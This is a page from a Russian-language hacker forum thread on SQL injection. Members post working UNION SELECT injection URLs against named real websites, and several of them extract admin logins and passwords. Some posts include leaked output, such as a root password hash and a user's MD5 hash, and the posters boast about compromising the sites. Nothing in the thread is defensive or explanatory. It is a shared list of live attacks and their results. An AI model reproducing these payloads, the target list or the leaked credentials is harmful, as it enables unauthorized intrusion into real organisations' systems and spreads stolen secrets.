SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. BlackCats

    BlackCats Elder - Старейшина

    Joined:
    1 Feb 2006
    Messages:
    642
    Likes Received:
    630
    Reputations:
    -3
    http://www.consodurable.org/dossiers_detail.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10/*
     
  2. ice1k

    ice1k Banned

    Joined:
    1 Jan 2007
    Messages:
    462
    Likes Received:
    382
    Reputations:
    490
    Code:
    http://dvdselect.ru/podrobno.php?dvd=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,concat(login,0x3a,pass),25,26,27,28,29,30,31,32+from+admins/*
    
     
    1 person likes this.
  3. ice1k

    ice1k Banned

    Joined:
    1 Jan 2007
    Messages:
    462
    Likes Received:
    382
    Reputations:
    490
    заливайте, ёпти, если нужно.. ;)
     
  4. BlackCats

    BlackCats Elder - Старейшина

    Joined:
    1 Feb 2006
    Messages:
    642
    Likes Received:
    630
    Reputations:
    -3
    http://www.sofiacityguide.com/page.php?id=-1+union+select+1,2,3,4,5,6,7,8/*
     
  5. n1†R0x

    n1†R0x Elder - Старейшина

    Joined:
    20 Jan 2007
    Messages:
    728
    Likes Received:
    376
    Reputations:
    235
    хоть что-то.. :)
    Code:
    http://curious.astro.cornell.edu/question.php?number=-1+union+select+1,2,concat(user,0x3a,password),4,5,6+from+mysql.user+limit+1,1/*
    root:7d1eb49a69051fd4

    +upd:
    Code:
    http://adbusters.org/metas/eco/bnd/view.php?id=-1+union+select+1,convert(version()+using+latin1),3,4/*
     
    #1225 n1†R0x, 21 Mar 2007
    Last edited: 21 Mar 2007
  6. BlackCats

    BlackCats Elder - Старейшина

    Joined:
    1 Feb 2006
    Messages:
    642
    Likes Received:
    630
    Reputations:
    -3
    вава

     
  7. Ksander

    Ksander Elder - Старейшина

    Joined:
    21 Jun 2006
    Messages:
    526
    Likes Received:
    260
    Reputations:
    138
    Еще один скальп в мою коллекцию, только под вечер хороший улов пошел =)

    http://www.bis-el.kiev.ua

    Code:
    http://www.bis-el.kiev.ua/index.php?parent_id=0&part_id=1&article_id=-1+union+select+1,2,3,4,concat(login,char(58),passwd),6,7,8,9,10,11+from+users/*
     
    1 person likes this.
  8. BlackCats

    BlackCats Elder - Старейшина

    Joined:
    1 Feb 2006
    Messages:
    642
    Likes Received:
    630
    Reputations:
    -3
    9o909
     
    1 person likes this.
  9. Constantine

    Constantine Elder - Старейшина

    Joined:
    24 Nov 2006
    Messages:
    798
    Likes Received:
    710
    Reputations:
    301
    Идеальная скуль))) А поначалу выплевывал такую скромненькую ошибочку=)
    Code:
    http://www.smeda.org/main.php?id=-192+union+select+1,user,password,4,5,concat_ws(char(58),user(),version(),database()),7+from+mysql.user/*
     
    3 people like this.
  10. BlackCats

    BlackCats Elder - Старейшина

    Joined:
    1 Feb 2006
    Messages:
    642
    Likes Received:
    630
    Reputations:
    -3
    http://www.trinityfoundation.org/journal.php?id=-1+union+select+1,2,3,4,5,6,7,8,9/*
     
  11. Ksander

    Ksander Elder - Старейшина

    Joined:
    21 Jun 2006
    Messages:
    526
    Likes Received:
    260
    Reputations:
    138
    www.karavan-megastore.com.ua

    Code:
    http://www.karavan-megastore.com.ua/?view=read&n_id=-1+union+select+1,concat(version(),char(58),database(),char(58),user()),3,4/*
     
  12. BlackCats

    BlackCats Elder - Старейшина

    Joined:
    1 Feb 2006
    Messages:
    642
    Likes Received:
    630
    Reputations:
    -3
    китаиси

     
  13. Micr0b

    Micr0b Elder - Старейшина

    Joined:
    14 Jan 2006
    Messages:
    223
    Likes Received:
    168
    Reputations:
    26
    На больше несмог(
    Code:
    http://www.racing-fc.lu/shop/?id=-17+UNION+SELECT+1,2,3,4,5,concat(shop_stock_ID,0x3a,spec,0x3a,quant,0x3a,name,0x3a,descr,0x3a,price)+FROM+shop+LEFT+JOIN+shop_stock+ON+ref_shop=shop_ID+WHERE+shop_ID=17/*
     
    #1233 Micr0b, 21 Mar 2007
    Last edited: 21 Mar 2007
  14. BlackCats

    BlackCats Elder - Старейшина

    Joined:
    1 Feb 2006
    Messages:
    642
    Likes Received:
    630
    Reputations:
    -3
    и
    ы
     
  15. XTErner

    XTErner Elder - Старейшина

    Joined:
    13 Mar 2007
    Messages:
    109
    Likes Received:
    135
    Reputations:
    40
    Code:
    http://www.oebu.ch/de/artikel.php?id=-324%20UNION%20SELECT%201,2,convert(version()+using+latin1)/*
     
  16. Ksander

    Ksander Elder - Старейшина

    Joined:
    21 Jun 2006
    Messages:
    526
    Likes Received:
    260
    Reputations:
    138
    http://mobile.ru


    Похекали Мобайла =)

    Code:
    http://mobile.ru/news.php?news_id=-1+union+select+1,concat(username,char(58),version(),database()),3,4,5,6,7,8+from+user/*
     
    #1236 Ksander, 21 Mar 2007
    Last edited: 21 Mar 2007
  17. BlackCats

    BlackCats Elder - Старейшина

    Joined:
    1 Feb 2006
    Messages:
    642
    Likes Received:
    630
    Reputations:
    -3
    http://www.highpointlowlife.com/webrelease.php?id=21+order+by+8
     
  18. XTErner

    XTErner Elder - Старейшина

    Joined:
    13 Mar 2007
    Messages:
    109
    Likes Received:
    135
    Reputations:
    40
    Code:
    http://www.rueleon.net/manifestations.php?Id=-51+union+select+version()/*
     
  19. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    На прошлой странице лежал скуль:
    Code:
    http://www.nonom.cn/showmz.php?id=-1+union+select+1,2,3,4,5,6,7,8/*
    Code:
    http://www.nonom.cn/showmz.php?id=-1+union+select+1,concat(username,char(58),password),3,4,5,6,7,8+from+user/*
    BNE:96e79218965eb72c92a549dd5a330112

    Китайцы это жесть:)
     
  20. BlackCats

    BlackCats Elder - Старейшина

    Joined:
    1 Feb 2006
    Messages:
    642
    Likes Received:
    630
    Reputations:
    -3
    http://www.njwrecords.com/releases.php?id=21+order+by+18
     
Thread Status:
Not open for further replies.